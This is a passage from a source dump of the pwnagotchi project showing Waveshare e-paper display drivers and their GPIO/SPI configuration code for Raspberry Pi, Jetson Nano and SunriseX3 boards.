self.SPI.SYSFS_software_spi_transfer(data[0]) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.SYSFS_software_spi_begin() return 0 def module_exit(self): logging.debug("spi end") self.SPI.SYSFS_software_spi_end() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'): implementation = RaspberryPi() else: implementation = JetsonNano() for func in [x for x in dir(implementation) if not x.startswith('_')]: setattr(sys.modules[__name__], func, getattr(implementation, func)) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v213inb_v4/epd2in13b_V4.py ================================================ # ***************************************************************************** # * | File : epd2in13b_V4.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2022-04-21 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import logging from . import epdconfig # Display resolution EPD_WIDTH = 122 EPD_HEIGHT = 250 logger = logging.getLogger(__name__) class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT # hardware reset def reset(self): epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(20) epdconfig.digital_write(self.reset_pin, 0) epdconfig.delay_ms(2) epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(20) # send 1 byte command def send_command(self, command): epdconfig.digital_write(self.dc_pin, 0) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, 1) # send 1 byte data def send_data(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) # send a lot of data def send_data2(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte2(data) epdconfig.digital_write(self.cs_pin, 1) # judge e-Paper whether is busy def busy(self): logger.debug("e-Paper busy") while (epdconfig.digital_read(self.busy_pin) != 0): epdconfig.delay_ms(10) logger.debug("e-Paper busy release") # set the display window def set_windows(self, xstart, ystart, xend, yend): self.send_command(0x44) # SET_RAM_X_ADDRESS_START_END_POSITION self.send_data((xstart >> 3) & 0xff) self.send_data((xend >> 3) & 0xff) self.send_command(0x45) # SET_RAM_Y_ADDRESS_START_END_POSITION self.send_data(ystart & 0xff) self.send_data((ystart >> 8) & 0xff) self.send_data(yend & 0xff) self.send_data((yend >> 8) & 0xff) # set the display cursor(origin) def set_cursor(self, xstart, ystart): self.send_command(0x4E) # SET_RAM_X_ADDRESS_COUNTER self.send_data(xstart & 0xff) self.send_command(0x4F) # SET_RAM_Y_ADDRESS_COUNTER self.send_data(ystart & 0xff) self.send_data((ystart >> 8) & 0xff) # initialize def init(self): if (epdconfig.module_init() != 0): return -1 self.reset() self.busy() self.send_command(0x12) # SWRESET self.busy() self.send_command(0x01) # Driver output control self.send_data(0xf9) self.send_data(0x00) self.send_data(0x00) self.send_command(0x11) # data entry mode self.send_data(0x03) self.set_windows(0, 0, self.width - 1, self.height - 1) self.set_cursor(0, 0) self.send_command(0x3C) # BorderWavefrom self.send_data(0x05) self.send_command(0x18) # Read built-in temperature sensor self.send_data(0x80) self.send_command(0x21) # Display update control self.send_data(0x80) self.send_data(0x80) self.busy() return 0 # turn on display def ondisplay(self): self.send_command(0x20) self.busy() # image converted to bytearray def getbuffer(self, image): img = image imwidth, imheight = img.size if (imwidth == self.width and imheight == self.height): img = img.convert('1') elif (imwidth == self.height and imheight == self.width): # image has correct dimensions, but needs to be rotated img = img.rotate(90, expand=True).convert('1') else: logger.warning("Wrong image dimensions: must be " + str(self.width) + "x" + str(self.height)) # return a blank buffer return [0x00] * (int(self.width/8) * self.height) buf = bytearray(img.tobytes('raw')) return buf # display image def display(self, imageblack, imagered): self.send_command(0x24) self.send_data2(imageblack) self.send_command(0x26) self.send_data2(imagered) self.ondisplay() # display white image def clear(self): if self.width % 8 == 0: linewidth = int(self.width/8) else: linewidth = int(self.width/8) + 1 buf = [0xff] * (int(linewidth * self.height)) self.send_command(0x24) self.send_data2(buf) self.send_command(0x26) self.send_data2(buf) self.ondisplay() # Compatible with older version functions def Clear(self): self.clear() # sleep def sleep(self): self.send_command(0x10) # DEEP_SLEEP self.send_data(0x01) # check code epdconfig.delay_ms(2000) epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v213inb_v4/epdconfig.py ================================================ # /***************************************************************************** # * | File : epdconfig.py # * | Author : Waveshare team # * | Function : Hardware underlying interface # * | Info : # *---------------- # * | This version: V1.2 # * | Date : 2022-10-29 # * | Info : # ****************************************************************************** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import os import logging import sys import time logger = logging.getLogger(__name__) class RaspberryPi: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import spidev import RPi.GPIO self.GPIO = RPi.GPIO self.SPI = spidev.SpiDev() def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(pin) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def spi_writebyte2(self, data): self.SPI.writebytes2(data) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) # SPI device, bus = 0, device = 0 self.SPI.open(0, 0) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 def module_exit(self): logger.debug("spi end") self.SPI.close() logger.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup([self.RST_PIN, self.DC_PIN, self.CS_PIN, self.BUSY_PIN]) class JetsonNano: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import ctypes find_dirs = [ os.path.dirname(os.path.realpath(__file__)), '/usr/local/lib', '/usr/lib', ] self.SPI = None for find_dir in find_dirs: so_filename = os.path.join(find_dir, 'sysfs_software_spi.so') if os.path.exists(so_filename): self.SPI = ctypes.cdll.LoadLibrary(so_filename) break if self.SPI is None: raise RuntimeError('Cannot find sysfs_software_spi.so') import Jetson.GPIO self.GPIO = Jetson.GPIO def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.SYSFS_software_spi_transfer(data[0]) def spi_writebyte2(self, data): for i in range(len(data)): self.SPI.SYSFS_software_spi_transfer(data[i]) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.SYSFS_software_spi_begin() return 0 def module_exit(self): logger.debug("spi end") self.SPI.SYSFS_software_spi_end() logger.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup([self.RST_PIN, self.DC_PIN, self.CS_PIN, self.BUSY_PIN]) class SunriseX3: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 Flag = 0 def __init__(self): import spidev import Hobot.GPIO self.GPIO = Hobot.GPIO self.SPI = spidev.SpiDev() def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(pin) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def spi_writebyte2(self, data): # for i in range(len(data)): # self.SPI.writebytes([data[i]]) self.SPI.xfer3(data) def module_init(self): if self.Flag == 0: self.Flag = 1 self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) # SPI device, bus = 0, device = 0 self.SPI.open(2, 0) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 else: return 0 def module_exit(self): logger.debug("spi end") self.SPI.close() logger.debug("close 5V, Module enters 0 power consumption ...") self.Flag = 0 self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup([self.RST_PIN, self.DC_PIN, self.CS_PIN, self.BUSY_PIN]) if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'): implementation = RaspberryPi() elif os.path.exists('/sys/bus/platform/drivers/gpio-x3'): implementation = SunriseX3() else: implementation = JetsonNano() for func in [x for x in dir(implementation) if not x.startswith('_')]: setattr(sys.modules[__name__], func, getattr(implementation, func)) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v27inch/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v27inch/epd2in7.py ================================================ # ***************************************************************************** # * | File : epd2in7.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V4.0 # * | Date : 2019-06-20 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import logging from . import epdconfig # Display resolution EPD_WIDTH = 176 EPD_HEIGHT = 264 GRAY1 = 0xff #white GRAY2 = 0xC0 GRAY3 = 0x80 #gray GRAY4 = 0x00 #Blackest class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT self.GRAY1 = GRAY1 #white self.GRAY2 = GRAY2 self.GRAY3 = GRAY3 #gray self.GRAY4 = GRAY4 #Blackest lut_vcom_dc = [0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x02, 0x60, 0x28, 0x28, 0x00, 0x00, 0x01, 0x00, 0x14, 0x00, 0x00, 0x00, 0x01, 0x00, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] lut_ww = [ 0x40, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x40, 0x14, 0x00, 0x00, 0x00, 0x01, 0xA0, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bw = [ 0x40, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x40, 0x14, 0x00, 0x00, 0x00, 0x01, 0xA0, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bb = [ 0x80, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x80, 0x14, 0x00, 0x00, 0x00, 0x01, 0x50, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_wb = [ 0x80, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x80, 0x14, 0x00, 0x00, 0x00, 0x01, 0x50, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] ###################full screen update LUT###################### #0~3 gray gray_lut_vcom = [ 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x01, 0x60, 0x14, 0x14, 0x00, 0x00, 0x01, 0x00, 0x14, 0x00, 0x00, 0x00, 0x01, 0x00, 0x13, 0x0A, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] #R21 gray_lut_ww =[ 0x40, 0x0A, 0x00, 0x00, 0x00, 0x01, 0x90, 0x14, 0x14, 0x00, 0x00, 0x01, 0x10, 0x14, 0x0A, 0x00, 0x00, 0x01, 0xA0, 0x13, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] #R22H r gray_lut_bw =[ 0x40, 0x0A, 0x00, 0x00, 0x00, 0x01, 0x90, 0x14, 0x14, 0x00, 0x00, 0x01, 0x00, 0x14, 0x0A, 0x00, 0x00, 0x01, 0x99, 0x0C, 0x01, 0x03, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] #R23H w gray_lut_wb =[ 0x40, 0x0A, 0x00, 0x00, 0x00, 0x01, 0x90, 0x14, 0x14, 0x00, 0x00, 0x01, 0x00, 0x14, 0x0A, 0x00, 0x00, 0x01, 0x99, 0x0B, 0x04, 0x04, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] #R24H b gray_lut_bb =[ 0x80, 0x0A, 0x00, 0x00, 0x00, 0x01, 0x90, 0x14, 0x14, 0x00, 0x00, 0x01, 0x20, 0x14, 0x0A, 0x00, 0x00, 0x01, 0x50, 0x13, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] # Hardware reset def reset(self): epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) epdconfig.digital_write(self.reset_pin, 0) epdconfig.delay_ms(10) epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) def send_command(self, command): epdconfig.digital_write(self.dc_pin, 0) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, 1) def send_data(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) def ReadBusy(self): logging.debug("e-Paper busy") while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy epdconfig.delay_ms(200) logging.debug("e-Paper busy release") def set_lut(self): self.send_command(0x20) # vcom for count in range(0, 44): self.send_data(self.lut_vcom_dc[count]) self.send_command(0x21) # ww -- for count in range(0, 42): self.send_data(self.lut_ww[count]) self.send_command(0x22) # bw r for count in range(0, 42): self.send_data(self.lut_bw[count]) self.send_command(0x23) # wb w for count in range(0, 42): self.send_data(self.lut_bb[count]) self.send_command(0x24) # bb b for count in range(0, 42): self.send_data(self.lut_wb[count]) def gray_SetLut(self): self.send_command(0x20) for count in range(0, 44): #vcom self.send_data(self.gray_lut_vcom[count]) self.send_command(0x21) #red not use for count in range(0, 42): self.send_data(self.gray_lut_ww[count]) self.send_command(0x22) #bw r for count in range(0, 42): self.send_data(self.gray_lut_bw[count]) self.send_command(0x23) #wb w for count in range(0, 42): self.send_data(self.gray_lut_wb[count]) self.send_command(0x24) #bb b for count in range(0, 42): self.send_data(self.gray_lut_bb[count]) self.send_command(0x25) #vcom for count in range(0, 42): self.send_data(self.gray_lut_ww[count]) def init(self): if (epdconfig.module_init() != 0): return -1 # EPD hardware init start self.reset() self.send_command(0x01) # POWER_SETTING self.send_data(0x03) # VDS_EN, VDG_EN self.send_data(0x00) # VCOM_HV, VGHL_LV[1], VGHL_LV[0] self.send_data(0x2b) # VDH self.send_data(0x2b) # VDL self.send_data(0x09) # VDHR self.send_command(0x06) # BOOSTER_SOFT_START self.send_data(0x07) self.send_data(0x07) self.send_data(0x17) # Power optimization self.send_command(0xF8) self.send_data(0x60) self.send_data(0xA5) # Power optimization self.send_command(0xF8) self.send_data(0x89) self.send_data(0xA5) # Power optimization self.send_command(0xF8) self.send_data(0x90) self.send_data(0x00) # Power optimization self.send_command(0xF8) self.send_data(0x93) self.send_data(0x2A) # Power optimization self.send_command(0xF8) self.send_data(0xA0) self.send_data(0xA5) # Power optimization self.send_command(0xF8) self.send_data(0xA1) self.send_data(0x00) # Power optimization self.send_command(0xF8) self.send_data(0x73) self.send_data(0x41) self.send_command(0x16) # PARTIAL_DISPLAY_REFRESH self.send_data(0x00) self.send_command(0x04) # POWER_ON self.ReadBusy() self.send_command(0x00) # PANEL_SETTING self.send_data(0xAF) # KW-BF KWR-AF BWROTP 0f self.send_command(0x30) # PLL_CONTROL self.send_data(0x3A) # 3A 100HZ 29 150Hz 39 200HZ 31 171HZ self.send_command(0x82) # VCM_DC_SETTING_REGISTER self.send_data(0x12) self.set_lut() return 0 def Init_4Gray(self): if (epdconfig.module_init() != 0): return -1 self.reset() self.send_command(0x01) #POWER SETTING self.send_data (0x03) self.send_data (0x00) self.send_data (0x2b) self.send_data (0x2b) self.send_command(0x06) #booster soft start self.send_data (0x07) #A self.send_data (0x07) #B self.send_data (0x17) #C self.send_command(0xF8) #boost?? self.send_data (0x60) self.send_data (0xA5) self.send_command(0xF8) #boost?? self.send_data (0x89) self.send_data (0xA5) self.send_command(0xF8) #boost?? self.send_data (0x90) self.send_data (0x00) self.send_command(0xF8) #boost?? self.send_data (0x93) self.send_data (0x2A) self.send_command(0xF8) #boost?? self.send_data (0xa0) self.send_data (0xa5) self.send_command(0xF8) #boost?? self.send_data (0xa1) self.send_data (0x00) self.send_command(0xF8) #boost?? self.send_data (0x73) self.send_data (0x41) self.send_command(0x16) self.send_data(0x00) self.send_command(0x04) self.ReadBusy() self.send_command(0x00) #panel setting self.send_data(0xbf) #KW-BF KWR-AF BWROTP 0f self.send_command(0x30) #PLL setting self.send_data (0x90) #100hz self.send_command(0x61) #resolution setting self.send_data (0x00) #176 self.send_data (0xb0) self.send_data (0x01) #264 self.send_data (0x08) self.send_command(0x82) #vcom_DC setting self.send_data (0x12) self.send_command(0X50) #VCOM AND DATA INTERVAL SETTING self.send_data(0x97) def getbuffer(self, image): # logging.debug("bufsiz = ",int(self.width/8) * self.height) buf = [0xFF] * (int(self.width/8) * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() # logging.debug("imwidth = %d, imheight = %d",imwidth,imheight) if(imwidth == self.width and imheight == self.height): logging.debug("Vertical") for y in range(imheight): for x in range(imwidth): # Set the bits for the column of pixels at the current position. if pixels[x, y] == 0: buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8)) elif(imwidth == self.height and imheight == self.width): logging.debug("Horizontal") for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: buf[int((newx + newy*self.width) / 8)] &= ~(0x80 >> (y % 8)) return buf def getbuffer_4Gray(self, image): # logging.debug("bufsiz = ",int(self.width/8) * self.height) buf = [0xFF] * (int(self.width / 4) * self.height) image_monocolor = image.convert('L') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() i=0 # logging.debug("imwidth = %d, imheight = %d",imwidth,imheight) if(imwidth == self.width and imheight == self.height): logging.debug("Vertical") for y in range(imheight): for x in range(imwidth): # Set the bits for the column of pixels at the current position. if(pixels[x, y] == 0xC0): pixels[x, y] = 0x80 elif (pixels[x, y] == 0x80): pixels[x, y] = 0x40 i= i+1 if(i%4 == 0): buf[int((x + (y * self.width))/4)] = ((pixels[x-3, y]&0xc0) | (pixels[x-2, y]&0xc0)>>2 | (pixels[x-1, y]&0xc0)>>4 | (pixels[x, y]&0xc0)>>6) elif(imwidth == self.height and imheight == self.width): logging.debug("Horizontal") for x in range(imwidth): for y in range(imheight): newx = y newy = x if(pixels[x, y] == 0xC0): pixels[x, y] = 0x80 elif (pixels[x, y] == 0x80): pixels[x, y] = 0x40 i= i+1 if(i%4 == 0): buf[int((newx + (newy * self.width))/4)] = ((pixels[x, y-3]&0xc0) | (pixels[x, y-2]&0xc0)>>2 | (pixels[x, y-1]&0xc0)>>4 | (pixels[x, y]&0xc0)>>6) return buf def display(self, image): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(image[i]) self.send_command(0x12) self.ReadBusy() def display_4Gray(self, image): self.send_command(0x10) for i in range(0, 5808): #5808*4 46464 temp3=0 for j in range(0, 2): temp1 = image[i*2+j] for k in range(0, 2): temp2 = temp1&0xC0 if(temp2 == 0xC0): temp3 |= 0x01#white elif(temp2 == 0x00): temp3 |= 0x00 #black elif(temp2 == 0x80): temp3 |= 0x01 #gray1 else: #0x40 temp3 |= 0x00 #gray2 temp3 <<= 1 temp1 <<= 2 temp2 = temp1&0xC0 if(temp2 == 0xC0): #white temp3 |= 0x01 elif(temp2 == 0x00): #black temp3 |= 0x00 elif(temp2 == 0x80): temp3 |= 0x01 #gray1 else : #0x40 temp3 |= 0x00 #gray2 if(j!=1 or k!=1): temp3 <<= 1 temp1 <<= 2 self.send_data(temp3) self.send_command(0x13) for i in range(0, 5808): #5808*4 46464 temp3=0 for j in range(0, 2): temp1 = image[i*2+j] for k in range(0, 2): temp2 = temp1&0xC0 if(temp2 == 0xC0): temp3 |= 0x01#white elif(temp2 == 0x00): temp3 |= 0x00 #black elif(temp2 == 0x80): temp3 |= 0x00 #gray1 else: #0x40 temp3 |= 0x01 #gray2 temp3 <<= 1 temp1 <<= 2 temp2 = temp1&0xC0 if(temp2 == 0xC0): #white temp3 |= 0x01 elif(temp2 == 0x00): #black temp3 |= 0x00 elif(temp2 == 0x80): temp3 |= 0x00 #gray1 else: #0x40 temp3 |= 0x01 #gray2 if(j!=1 or k!=1): temp3 <<= 1 temp1 <<= 2 self.send_data(temp3) self.gray_SetLut() self.send_command(0x12) epdconfig.delay_ms(200) self.ReadBusy() # pass def Clear(self, color): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_command(0x12) self.ReadBusy() def sleep(self): self.send_command(0X50) self.send_data(0xf7) self.send_command(0X02) self.send_command(0X07) self.send_data(0xA5) epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v27inch/epdconfig.py ================================================ # /***************************************************************************** # * | File : epdconfig.py # * | Author : Waveshare team # * | Function : Hardware underlying interface # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-06-21 # * | Info : # ****************************************************************************** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import os import logging import sys import time class RaspberryPi: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import spidev import RPi.GPIO self.GPIO = RPi.GPIO # SPI device, bus = 0, device = 0 self.SPI = spidev.SpiDev(0, 0) def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(pin) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 def module_exit(self): logging.debug("spi end") self.SPI.close() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() class JetsonNano: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import ctypes find_dirs = [ os.path.dirname(os.path.realpath(__file__)), '/usr/local/lib', '/usr/lib', ] self.SPI = None for find_dir in find_dirs: so_filename = os.path.join(find_dir, 'sysfs_software_spi.so') if os.path.exists(so_filename): self.SPI = ctypes.cdll.LoadLibrary(so_filename) break if self.SPI is None: raise RuntimeError('Cannot find sysfs_software_spi.so') import Jetson.GPIO self.GPIO = Jetson.GPIO def digital_write(self, pin, value): 